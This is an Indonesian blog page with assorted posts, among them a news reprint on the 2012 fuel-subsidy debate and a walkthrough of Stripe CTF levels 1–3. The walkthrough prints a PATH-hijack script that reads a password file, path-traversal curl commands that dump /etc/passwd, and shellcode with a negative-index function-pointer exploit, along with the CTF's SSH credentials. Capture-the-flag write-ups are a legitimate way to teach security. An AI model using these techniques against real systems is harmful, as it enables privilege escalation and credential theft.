Sabtu, 31 Maret 2012

Cemburu ko sampe gitu juga mba..sadar dong...

0 komentar

Kamis, 29 Maret 2012

Kenaikan Harga BBM Hanya Solusi Sesaat

0 komentar




 KOMPAS/LUCKY PRANSISKA Ratusan mahasiswa yang berunjuk rasa menolak kenaikan harga bahan bakar minyak di Jalan Medan Merdeka Timur, Jakarta berakhir rusuh, Selasa (27/3/2012). Kerusuhan yang berlangsung lebih dari dua jam tersebut bermula saat mahasiswa mencoba masuk ke Istana Merdeka yang sudah dihalangi barikade petugas kepolisian. Unjuk rasa berakhir setelah pasukan kepolisian mengepung Jalan Medan Merdeka dari dua arah dan massa berlarian menuju Jalan Pejambon.


 
Hari ini Rapat Paripurna DPR akan memutuskan menerima atau menolak RUU APBN Perubahan 2012 yang intinya menurunkan besar subsidi bahan bakar minyak. Pada saat yang sama, ribuan buruh berencana berdemonstrasi di depan Gedung DPR.
Kemungkinan besar rapat paripurna menyetujui keinginan pemerintah. Persetujuan DPR itu akan berdampak naiknya harga eceran BBM bersubsidi, hal yang ditolak masyarakat melalui aksi demo di berbagai kota sepekan terakhir ini.
Di DPR, Fraksi PDI-P menolak keinginan pemerintah menurunkan subsidi BBM dan LPG menjadi Rp 137,4 triliun. Fraksi Gerindra dan Fraksi Hanura walk out, meninggalkan rapat kerja pembahasan RUU APBN Perubahan 2012 antara Badan Anggaran DPR dengan Menteri Keuangan dan Menteri Energi dan Sumber Daya Mineral (ESDM) di Gedung DPR, Senin (26/3/2012) sore.
Setiap kali pemerintah berencana mengurangi subsidi BBM, setiap kali penolakan masyarakat terjadi di berbagai kota. Padahal, harga BBM di Indonesia hampir pasti akan selalu dipengaruhi gejolak harga minyak dunia karena negeri ini telah menjadi importir minyak akibat kebutuhan lebih tinggi dari produksi.
Dalam 10 tahun terakhir, Indonesia sudah mengalami tiga kali kenaikan mencolok harga minyak mentah dunia. Kondisi tersebut mendesak pemerintah menaikkan harga BBM, yakni pada tahun 2005 dan tahun 2008.
Pada 1 April 2012, pemerintah akan menaikkan lagi harga BBM bersubsidi dengan alasan sama, yakni mengamankan anggaran pendapatan dan belanja negara. Tanpa menaikkan harga BBM, besar subsidi dapat mencapai Rp 191 triliun.
Penolakan
Banyak hal yang menyebabkan penolakan terhadap rencana pengurangan subsidi BBM. Mulai dari ketidakmampuan pemerintah menaikkan produksi minyak yang tak beranjak dari angka 900.000 barrel per hari, tidak kunjung direalisasikannya diversifikasi energi, sampai pengelolaan PLN yang ikut membengkakkan subsidi energi.
Penolakan Fraksi PDI-P disuarakan anggota Badan Anggaran DPR, Dolfie OFP. Dolfie mengatakan kepada Kompas seusai rapat Badan Anggaran DPR, Senin (26/3/2012) petang, pemerintah membebankan ketidakmampuan mengendalikan dan pembatasan penggunaan BBM bersubsidi seperti disebut Pasal 7 Ayat 4 UU APBN 2012 kepada rakyat. Selain itu, subsidi BBM untuk listrik membengkak karena kelemahan manajemen PLN dalam mengelola komposisi bahan bakar pembangkit listrik.
Sadar Subagyo, anggota Badan Anggaran dari Fraksi Gerindra, juga menyebut ketidakmampuan pemerintah mengendalikan dan membatasi BBM bersubsidi. Di sisi lain, gejolak harga minyak karena ketegangan di Timur Tengah dan krisis utang Eropa sudah diperhitungkan dalam penyusunan APBN 2012. Perlambatan ekonomi dunia pun tak berpengaruh banyak pada pertumbuhan ekonomi Indonesia yang diproyeksikan tahun ini 6,5 persen. ”Dugaan saya, pemerintah ingin menyelamatkan PLN dan ada kepentingan politik melalui bantuan langsung tunai Rp 150.000 per keluarga,” kata Sadar.
Presiden Konfederasi Serikat Pekerja Indonesia Said Iqbal menolak kenaikan harga BBM karena menaikkan inflasi dan menggerus pendapatan riil buruh. Pemerintah menyebut inflasi menjadi 6,8 persen—bukan 7 persen karena kenaikan tarif dasar listrik ditunda ke tahun 2013—yang berarti upah riil buruh hanya naik separuh.
Pendapatan petani juga terpengaruh karena penggunaan traktor tangan dan biaya transportasi. Kepala Pusat Sosial Ekonomi dan Kebijakan Pertanian Badan Litbang Kementerian Pertanian Handewi Purwati Saliem menyebut, kenaikan harga BBM akan menurunkan keuntungan petani padi 1,5-2 persen saja.
”Yang lebih memengaruhi adalah inflasi yang berhubungan dengan daya beli. Juga sisi psikologis yang mendorong naiknya harga faktor produksi, seperti pupuk, benih, dan tenaga kerja di tingkat petani,” kata Handewi, Rabu (28/3/2012).
Aneh
Para peneliti Lembaga Ilmu Pengetahuan Indonesia (LIPI) pada tahun 2008 sebenarnya sudah mengingatkan akan keanehan dalam cara pemerintah menangani BBM di dalam negeri.
Di satu sisi, kenaikan harga didorong lonjakan harga minyak mentah dunia, padahal tidak seorang pun dapat mengetahui seberapa tinggi kenaikannya. Di sisi lain, harga BBM bersubsidi di dalam negeri dipatok pada angka tertentu, saat ini Rp 4.500 untuk premium dan solar. Artinya, harga BBM domestik sebagai variabel statis dipengaruhi harga minyak mentah internasional yang merupakan variabel dinamis.
Menghubungkan dua variabel tersebut tidak wajar karena akibatnya pemerintah terus membuat kebijakan yang didasari dari satu kepanikan ke kepanikan lain, yakni kekhawatiran lonjakan lebih tinggi harga minyak mentah internasional. Demikian inti pesan tim Pusat Penelitian Ekonomi LIPI. Laporan ditulis oleh, antara lain, Latif Adam dan Wijaya Adi, empat hari setelah pemerintah menaikkan harga BBM, 24 Mei 2008.
Meski begitu, pemerintah tetap memakai pola sama setiap kali meredam dampak lonjakan harga minyak mentah dunia terhadap APBN.
Rapat kerja Badan Anggaran DPR dengan Menteri Keuangan dan Menteri ESDM, Senin (26/3/2012) sore, menyepakati keinginan pemerintah menyubsidi energi Rp 225 triliun; Rp 137,4 triliun di antaranya untuk BBM, LPG, dan bahan bakar nabati, serta Rp 30,6 triliun untuk kompensasi kenaikan BBM. Dampaknya, kemungkinan besar pemerintah akan menaikkan harga eceran BBM bersubsidi sebesar Rp 1.500 per liter atau naik 33 persen dari harga eceran bensin dan solar saat ini Rp 4.500.
Jika tak dikurangi, pemerintah berargumen, subsidi akan membengkak menjadi Rp 191 triliun. Harga minyak bumi diasumsikan rata-rata 105 dollar AS (dalam UU APBN 2012 asumsi harga 90 dollar AS) dan produksi minyak mentah nasional 930.000 barrel per hari.
Pendekatan dalam menghadapi risiko kenaikan harga migas dunia tersebut tetap berlandaskan kekhawatiran terjadinya kenaikan harga minyak mentah yang lebih tinggi. Saat ini akibat krisis di Selat Hormuz dan tingginya permintaan minyak dari Amerika Serikat.
Program konkret
Kenaikan harga BBM adalah buah pengelolaan anggaran yang mengunci APBN dengan porsi anggaran subsidi energi yang lebih besar dari anggaran belanja lain. Indonesia juga terpasung tingginya volume BBM bersubsidi, dengan kemungkinan melonjak dari 40 juta kiloliter menjadi 47 juta kiloliter tahun 2012.
Menteri Perencanaan Pembangunan Nasional/Kepala Bappenas Armida Salsiah Alisjahbana, pertengahan Maret lalu, mengatakan, pada 2005-2008 anggaran subsidi BBM selalu lebih besar dari anggaran infrastruktur, kesehatan, dan anggaran pendidikan.
Baru pada 2009-2011 anggaran subsidi ditekan hingga lebih rendah dari anggaran pendidikan dan infrastruktur. Namun, anggaran kesehatan selalu kalah besar.
Berbagai kondisi tersebut, menurut ekonom dari Universitas Gadjah Mada, Anggito Abimanyu, sudah saatnya diperbaiki. Pemerintah harus mengalihkan subsidi BBM dan listrik ke program yang lebih konkret, yakni perbaikan transportasi umum untuk mengurangi pemakaian kendaraan pribadi. Ini adalah syarat mutlak menekan volume konsumsi BBM bersubsidi.
Menurut Anggito, kenaikan harga BBM sebaiknya Rp 1.000 per liter atau naik 22 persen sehingga masih lebih rendah dari kenaikan rata-rata pendapatan per kapita pada 2010-2012 (25 persen). Selain itu, bantuan langsung sementara masyarakat (BLSM) hanya diarahkan kepada 10 juta rumah tangga sasaran, bukan 18,5 juta rumah tangga sasaran seperti rencana pemerintah.
”Dengan membatasi BLSM ke 10 juta rumah tangga sasaran, anggaran yang dibutuhkan hanya Rp 10 triliun. Pemerintah menghemat Rp 15 triliun. Penghematan itu digunakan untuk percepatan pengalihan ke bahan bakar gas dan transportasi umum,” tutur Anggito di Jakarta, Senin (26/3/2012).
Ekonom Dradjad H Wibowo melihat ketidakjelasan ini disebabkan perhitungan politis lebih kental ketimbang substansi masalah. Contohnya, BLSM sepatutnya tidak ada karena hanya ada satu partai politik yang diuntungkan, yakni Partai Demokrat. Penerima BLSM cenderung akan berterima kasih sehingga tetap terjaga menjadi pemilih Partai Demokrat.
Ibarat mengayuh kapal, pemerintah harus menambal banyak kebocoran dan menentukan arah lebih tepat ke mana kebijakan energi mengarah. Mengurangi subsidi BBM hanya solusi sesaat.

Rabu, 28 Maret 2012

Cara Membuat Tulisan Berjalan di Blog

0 komentar

 Seringkali kita melihat blog yang dihiasi dengan tulisan tulisan berjalan. Dalam post ini akan saya terangkan sedikit tentang cara membuatnya. Lumayan, sedikit banyak akan menambah kecantikan blog yang anda kelola. Siap? Mulai.

1. Masuk ke Blogger dulu donk.
2. Klik Tata letak dan elemen laman.
3. Klik tambah gadget.
4. Lalu pilih HTML / javascript.
5. Langkah selanjutnya masukkan kode marquee yang anda inginkan seperti contoh dibawah ini:



1. Teks berjalan dari kanan ke kiri

kode :
2. Teks berjalan dari kiri ke kanan

kode :

3. Teks berjalan bolak balik

kode :
4. Teks berjalan dari atas ke bawah

kode :
5. Teks berjalan dari bawah ke atas

kode :






6. Teks berjalan mondar-mandir


kode :
7. Teks berjalan zig-zag nembus

kode :
8. Teks berjalan zig-zag mantul

kode :

Langkah Selanjutnya adalah mengganti http://alyahacker.blogspot.com di follow ya
dengan tulisan atau kata-kata yang anda inginkan.

Ket :
# direction="left/right/up/down" --> Mengatur arah gerakan teks.

# scrollamount="angka" --> mengatur kecepatan gerakan dalam pixel, semakin besar angka semakin cepat gerakannya.

# behavior="scroll/slide/alternate" --> Untuk mengatur perilaku gerakan :
~> Scroll --> teks bergerak berputar
~> Slide--> teks bergerak sekali lalu berhenti
~> Alternate --> teks bergerak dari kiri kekanan lalu balik lagi ( bolak-balik bo)

# Fungsi dari :
<center> ............. </center>
adalah agar tulisan tersebut selalu berada di tengah.

Trimakasih semoga bermanfaat, salam alyahacker.blogspot.com

Selasa, 27 Maret 2012

Tidak Ada Kedamaian Bagi Orang Jahat

0 komentar
Orang yang telah melakukan kejahatan dengan sendirinya hati nuraninya tidak akan tenang. Bijak untuk dikatakan bahwa: Tidak Ada Kedamaian Bagi Orang Jahat. Dia akan dikejar rasa bersalah dan berdosa, akibatnya hidupnya tidak akan damai dan tenang. Kecuali dia telah berubah menjadi orang yang lebih baik.

Salah satu cara mengatasinya adalah meminta maaf secara dalam dan bukan hanya dengan kata-kata saja, dan setelah itu tidak berbuat jahat lagi tentunya ya? Tapi kalau baru tobat dan jadi orang baik sehari dua hari saja, masih mungkin kambuh tuh, kan ada istilah tobat sambel, hehe.. Masih mungkin dihantui oleh perasaan tidak tenang. Lebih keren tobat beneran dibandingkan tomat- tobat lalu kumat :) Tambah ngga tenang loh!

Senin, 26 Maret 2012

Angri Birds

0 komentar

Sabtu, 24 Maret 2012

Ilmu Hacker

0 komentar
Beberapa hari yang lalu stripe membuat permainan wargames CTF (capture the flag). Dari semua 6 level, di tulisan ini saya hanya membahas level 1-5 saja karena level 6 saya belum berhasil menemukan vulnerabilitynya, mungkin next time saya tulis lagi kalau sudah ketemu jawabannya.
Pada intinya di setiap level disediakan aplikasi dan source codenya, kemudian kita harus bisa menyalahgunakan aplikasi tersebut untuk membaca file password. Oke langsung saja mulai dari level 1.

Level 01
Seperti petunjuk di blog stripe, untuk ikut permainan ini kita harus ssh dulu ke level01@ctf.stri.pe dengan password:e9gx26YEb2. Setelah login ssh berhasil, kita disambut dengan petunjuk permainan di level01:
Welcome to the Stripe CTF challenge!
 
Stripe CTF is a wargame, inspired by SmashTheStack I/O[1].
 
In /home/level02/.password is the SSH password for the level02
user. Your mission, should you choose to accept it, is to read that
file. You may find the binary /levels/level01 and its source code
/levels/level01.c useful.
 
We've created a scratch directory for you in /tmp.
 
There are a total of 6 levels in this CTF; if you're stuck, feel free
to email ctf@stripe.com for guidance.
Goalnya adalah membaca file berisi password /home/level02/.password yang permissionnya sudah diset hanya bisa dibaca oleh level02. Jadi bagaimana caranya user level01 bisa membaca file yang hanya bisa dibaca oleh user level02 ? Disinilah tantangannya.
Sudah disediakan aplikasi /levels/level01 dengan owner file adalah level02 dan suid bit diaktifkan, artinya aplikasi ini dijalankan sebagai (runas) level02. Karena aplikasi ini runas level02, tentu aplikasi ini punya privilege untuk membaca file password yang kita inginkan.
-r-Sr-x--- 1 level02 level01 8617 2012-02-23 02:31 /levels/level01
Tapi sayangnya aplikasi ini bukan aplikasi yang membaca file, aplikasi ini hanya menampilkan current time saja.
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:49 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:56 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$
Mungkinkah aplikasi yang menampilkan current time bisa disalahgunakan untuk membaca file? Bila mungkin, bagaimana caranya?
Kalau ditanya mungkinkah, tentu jawabnya mungkin, sebab untuk apa membuat game CTF yang tidak mungkin dikerjakan, hehe? Oke sekarang bagaimana caranya? Tentu kita harus mencari bug yang bisa diexploit agar aplikasi yang tampaknya innocent dan hanya melakukan satu hal sederhana bisa disalahgunakan. Mari kita lihat source code dari aplikasi ini.
#include 
#include 
 
int main(int argc, char **argv)
{
  printf("Current time: ");
  fflush(stdout);
  system("date");
  return 0;
}
Aplikasi yang sangat sederhana, hanya terdiri dari 3 pemanggilan fungsi saja, printf(), fflush() dan system(). Dari ketiga fungsi tersebut printf() dan fflush() tidak ada masalah, yang mungkin untuk diexploit tinggal system() karena fungsi ini mengeksekusi shell command.
Fungsi system() mengeksekusi “date”, tentu yang dimaksud oleh programmernya adalah /bin/date yang menampilkan current time. Tapi dari mana OS tahu bahwa yang dimaksud adalah /bin/date bila programmernya hanya menuliskan “date” saja, bukan “/bin/date” ? Jawabannya adalah dari environment variable PATH.
Bila kita ubah PATH ke direktori lain selain /bin, maka kita bisa membuat aplikasi tersebut mengeksekusi “date” yang sudah kita siapkan untuk membaca file, bukan /bin/date yang menampilkan current time seperti yang diharapkan programmernya.
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ export PATH=/tmp/tmp.jaJ1JT4TIp:$PATH
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ echo '#!/bin/bash -p
> cat /home/level02/.password' > date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ chmod 755 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ ls -l date
-rwxr-xr-x 1 level01 level01 43 2012-02-27 14:58 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: kxlVXUvzv
Setelah PATH variabel disesuaikan dan “date” kita siapkan, aplikasi /levels/level01 sekarang tidak lagi menampilkan current time, tapi menampilkan isi file /home/level02/.password. Hal ini bisa terjadi karena yang dieksekusi fungsi system() bukan /bin/date melainkan /tmp/tmp.jaJ1JT4TIp/date.
Level 02
Setelah mendapatkan password level02, kita ssh ke level02@ctf.stri.pe. Lagi-lagi kita disambut dengan ucapan selamat dan petunjuk baru.
Congratulations on making it to level 2!
 
The password for the next level is in /home/level03/.password. This
one is a web-based vulnerability, so go ahead and point your browser
to http://ctf.stri.pe/level02.php. You'll need to provide the password
for level02 using HTTP digest authentication.
 
You can find the source code for level02.php in /var/www/.
Goalnya mirip dengan sebelumnya yaitu membaca file berisi password di /home/level03/.password. Tapi kali ini agak berbeda karena aplikasinya adalah web based yang dibuat dengan PHP. PHP script ini dijalankan sebagai user level03 melalui teknik semacam CGI, jadi seperti kasus sebelumnya, kita juga harus menyalahgunakan aplikasi PHP ini untuk membaca file /home/level03/.password.
Mari kita lihat source code aplikasinya:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
    function random_string($max = 20){
        $chars = "abcdefghijklmnopqrstuvwxwz0123456789";
        for($i = 0; $i < $max; $i++){
            $rand_key = mt_rand(0, strlen($chars));
            $string  .= substr($chars, $rand_key, 1);
        }
        return str_shuffle($string);
    }
 
    $out = '';
    if (!isset($_COOKIE['user_details'])) {
      $out = "<p>Looks like a first time user. Hello, there!</p>";
      $filename = random_string(16) . ".txt";
      $f = fopen('/tmp/level02/' . $filename, 'w');
 
      $str = $_SERVER['REMOTE_ADDR']." using ".$_SERVER['HTTP_USER_AGENT'];
      fwrite($f, $str);
      fclose($f);
      setcookie('user_details', $filename);
    }
    else {
      $out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']);
    }
 
?>
 
<html>
  <head>
    <title>Level02</title>
  </head>
  <body>
    <h1>Welcome to the challenge!</h1>
    <div class="main">
      <p><?php echo $out ?></p>
      <?php
        if (isset($_POST['name']) && isset($_POST['age'])) {
          echo "You're ".$_POST['name'].", and your age is ".$_POST['age'];
        }
        else {
      ?>
      <form action="#" method="post">
        Name: <input name="name" type="text" length="40" /><br />
        Age: <input name="age" type="text" length="2" /><br /><br />
        <input type="submit" value="Submit!" />
      </form>
      <?php   } ?>
    </div>
  </body>
</html>
Bila dalam kasus sebelumnya aplikasinya hanya menampilkan current time dan tidak membaca file sama sekali, kali ini aplikasi ini melakukan banyak hal, salah satunya adalah membaca file. Tapi tentu saja file yang dibaca aplikasi php ini bukanlah file /home/level03/.password yang kita harapkan.
Pada baris ke-23, aplikasi ini membaca file yang berlokasi di direktori /tmp/level02/, padahal file yang kita inginkan berada di direktori /home/level03/. Bagaimana caranya membuat aplikasi yang membaca file di /tmp/level02/ menjadi membaca file di /home/level03/ ?
Perhatikan lagi baris ke-23, nama file yang akan dibaca diambil dari COOKIE bernama user_details. Nama file ini kemudian digabungkan dengan string “/tmp/level02/” sehingga membentuk path lengkap file yang akan dibaca. Karena COOKIE berasal dari input user dan tidak ada validasi apapun di aplikasi tersebut, maka user bebas mengisikan nama file apa saja yang ingin dibaca melalui COOKIE.
Bila COOKIE berisi “abcd.txt”, maka aplikasi akan membaca “/tmp/level02/abcd.txt”. Namun bagaimana bile COOKIE berisi “../../etc/passwd” ? Nama file yang akan dibaca menjadi “/tmp/level02/../../etc/passwd” atau sama saja dengan “/etc/passwd”.
$ curl --cookie "user_details=../../etc/passwd" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php
<html>
  <head>
    <title>Level02</title>
  </head>
  <body>
    <h1>Welcome to the challenge!</h1>
    <div class="main">
      <p>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:107::/var/run/dbus:/bin/false
haldaemon:x:103:108:Hardware abstraction layer,,,:/var/run/hald:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:105:109::/var/lib/landscape:/bin/false
ubuntu:x:1000:1000:Ubuntu,,,:/home/ubuntu:/bin/bash
postfix:x:106:113::/var/spool/postfix:/bin/false
level01:x:1001:1002::/home/level01:/bin/bash
level02:x:1002:1003::/home/level02:/bin/bash
level03:x:1003:1004::/home/level03:/bin/bash
level04:x:1004:1005::/home/level04:/bin/bash
level05:x:1005:1006::/home/level05:/bin/bash
level06:x:1006:1007::/home/level06:/bin/bash
the-flag:x:1007:1008::/home/the-flag:/bin/bash
</p>
            <form action="#" method="post">
        Name: <input name="name" type="text" length="40" /><br />
        Age: <input name="age" type="text" length="2" /><br /><br />
        <input type="submit" value="Submit!" />
      </form>
          </div>
  </body>
</html>
Sekarang jelas bagaimana cara untuk membaca file lain di luar /tmp/level02/ yaitu dengan prefix “../../”. Kini kita bisa membaca file /home/level03/.password dengan COOKIE user_details berisi “../../home/level03/.password”.
$ curl --cookie "user_details=../../home/level03/.password" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php
<html>
  <head>
    <title>Level02</title>
  </head>
  <body>
    <h1>Welcome to the challenge!</h1>
    <div class="main">
      <p>Or0m4UX07b
</p>
            <form action="#" method="post">
        Name: <input name="name" type="text" length="40" /><br />
        Age: <input name="age" type="text" length="2" /><br /><br />
        <input type="submit" value="Submit!" />
      </form>
          </div>
  </body>
</html>
Level 03
Kita lanjutkan ke level 3, kali ini tantangannya kembali lagi ke aplikasi binary dengan goal sama dengan sebelumnya, yaitu membaca file /home/level04/.password dengan cara menyalahgunakan aplikasi /levels/level03.
Congratulations on making it to level 3!
 
The password for the next level is in /home/level04/.password. As
before, you may find /levels/level03 and /levels/level03.c useful.
While the supplied binary mostly just does mundane tasks, we trust
you'll find a way of making it do something much more interesting.
Sebelumnya mari kita coba dulu aplikasi /levels/level03.
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03
Usage: ./level03 INDEX STRING
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 0 test
Uppercased string: TEST
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 1 test
Lowercased string: test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 2 test
Capitalized string: Test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 3 test
Length of string 'test': 4
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 5 test
Invalid index.
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 100 test
Invalid index.
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length
Aplikasi ini hanya melakukan operasi sederhana pada string. Dalam aplikasi ini tidak ada operasi baca file sama sekali, padahal yang kita inginkan adalah aplikasi ini membaca file /home/level04/.password. Bagaimanakah caranya?
Berikut ini adalah source code aplikasinya.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
 
#define NUM_FNS 4
 
typedef int (*fn_ptr)(const char *);
 
int to_upper(const char *str)
{
  printf("Uppercased string: ");
  int i = 0;
  for (i; str[i]; i++)
    putchar(toupper(str[i]));
  printf("\n");
  return 0;
}
 
int to_lower(const char *str)
{
  printf("Lowercased string: ");
  int i = 0;
  for (i; str[i]; i++)
    putchar(tolower(str[i]));
  printf("\n");
  return 0;
}
 
int capitalize(const char *str)
{
  printf("Capitalized string: ");
  putchar(toupper(str[0]));
  int i = 1;
  for (i; str[i]; i++)
    putchar(tolower(str[i]));
  printf("\n", str);
  return 0;
}
 
int length(const char *str)
{
  int len = 0;
  for (len; str[len]; len++) {}
 
  printf("Length of string '%s': %d\n", str, len);
  return 0;
}
 
int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}
 
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf);
}
 
int main(int argc, char **argv)
{
  int index;
  fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
 
  if (argc != 3) {
    printf("Usage: ./level03 INDEX STRING\n");
    printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
    printf("[2] capitalize\t[3] length\n");
    exit(-1);
  }
 
  // Parse supplied index
  index = atoi(argv[1]);
 
  if (index >= NUM_FNS) {
    printf("Invalid index.\n");
    printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
    printf("[2] capitalize\t[3] length\n");
    exit(-1);
  }
 
  return truncate_and_call(fns, index, argv[2]);
}
Unsafe Function Pointer Usage
Ada beberapa kelemahan dalam aplikasi ini. Pertama adalah pemakaian function pointer. Pemakaian function pointer bila tidak hati-hati bisa dieksploitasi untuk mengeksekusi function/code lain yang tidak diharapkan programmernya.
Aplikasi ini tidak secara langsung memanggil nama fungsi, tapi melalui kumpulan function pointer yang disimpan dalam array bernama fns (lihat baris ke-68). Array fns ini menyimpan alamat dari fungsi to_upper() di index [0], alamat fungsi to_lower() di index [1], alamat fungsi capitalize() di index [2] dan alamat fungsi length() di index[3] terurut sesuai index dalam array sehingga bila user memasukkan index 0, maka fungsi yang dipanggil adalah to_upper(), bila index 1, maka yang dipanggil adalah fungsi to_lower() dan seterusnya.
Array index out of bounds
Pada baris ke-80, ada pengecekan/validasi index, bila index >= 4, maka program akan menampilkan pesan errror kemudian exit(). Validasi ini mencegah pengaksesan array fns dengan index >= 4 karena batas atas index array fns adalah 3.
Namun validasi ini tidak sempurna karena hanya membatasi index di batas atas saja, sedangkan batas bawahnya tidak di batasi. Batas bawah index array fns seharusnya adalah 0, tapi validasi ini tidak mencegah bila index yang dimasukkan < 0 (index negatif).
Negative index array
Mungkinkah ada array dengan index negative ? Dalam bahasa C, array tidak lebih hanyalah pointer saja, dan index array hanya berfungsi sebagai offset.

Karena fns adalah array of function pointer, setiap kotak index di gambar di atas mengandung alamat memori code yang nanti akan dieksekusi bila dipanggil (dalam low levelnya adalah instruksi CALL ke alamat tersebut). Kotak index[0] berisi alamat to_upper(), index[1] berisi alamat to_lower(), index[2] berisi alamat capitalize() dan index[3] berisi alamat length(). Lalu index[4], index[-1] dan index[-2] berisi alamat fungsi apa?
index[-1], index[-2] dan index[4] sebenarnya isinya tidak terdefinisi, jadi bisa berisi data apa saja yang kebetulan lokasinya berdampingan dengan array fns. Bisa jadi isinya adalah isi dari variabel lain di memori.
Cara 1
Pada percobaan pertama saya mencoba menginjeksi shellcode dan membuat fns merujuk pada alamat shellcode tersebut berada dengan index array negatif, sehingga shellcode tersebut akan dieksekusi. Shellcode nantinya akan saya injeksi sebagai input string (argv[2]).
Bagaimana saya tahu shellcode nanti akan disimpan di alamat mana? Karena adanya ASLR (address space layout randomization), maka lokasi shellcode sulit diprediksi. Oleh karena itu saya memakai teknik CALL EAX. Dalam fungsi truncate_and_call() ada pemanggilan fungsi strncpy(), return dari strncpy() adalah address of buf, sehingga dijamin register EAX akan berisi alamat buf setelah strncpy() selesai.
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf);
}
Setelah EAX dijamin merujuk pada buf, maka kita tinggal mencari lokasi memori yang mengandung instruksi CALL EAX (karena EAX = address of buf, maka CALL EAX = execute shellcode in buf).
$ objdump -d /levels/level03|grep call|grep eax
 8048598:       ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)
 80485df:       ff d0                   call   *%eax
 804892b:       ff d0                   call   *%eax
Saya ambil salah satu saja, yaitu call eax di 0x0804892b. Ini adalah alamat dari fungsi “call eax” (agar lebih mudah kita anggap saja ini sebuah fungsi bernama “call eax”). Alamat “call eax” ini statik, tidak ikut terpengaruh oleh ASLR, jadi bisa dipastikan dengan mudah.
Kita simpan dulu saja alamat fungsi “call eax” ini. Kita lihat dulu bagaimana payload yang akan kita injeksi. Payload ini berisi shellcode+alamat fungsi “call eax”. Shellcode yang saya pakai adalah shellcode yang pernah saya bahas di artikel saya tentang membuat shellcode untuk local exploit. Shellcode ini ukurannya 35 byte.
Jadi payload yang akan diinjeksi adalah:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 + \x90 + \x2b\x89\x04\x08
35 byte pertama adalah shellcode, diikuti dengan 1 byte \x90 (NOP) yang hanya berfungsi sebagai alignment saja untuk menggenapi 35 byte menjadi 36 byte agar kelipatan 4. Sedangkan 4 byte terakhir dari payload tersebut adalah alamat fungsi “call eax” sehingga total menjadi 40 byte (tetap kelipatan 4). Sekarang setelah payload siap, kita harus tentukan berapa index array fns yang akan dipakai?
Pada gambar di bawah ini terlihat buf sudah berisi shellcode+NOP+alamat fungsi “call eax”.

Dengan sedikit coba-coba dengan gdb, diketahui index yang pas menunjuk pada alamat fungsi “call eax” adalah -19. Perhatikan bahwa fns[-19] merujuk pada lokasi memori 0xfff62560 yang berisi 0x0804892b (alamat fungsi “call eax”). Jadi seperti halnya fns[0] berisi alamat to_upper(), fns[1] berisi alamat to_lower(), maka fns[-19] berisi alamat fungsi “call eax”.
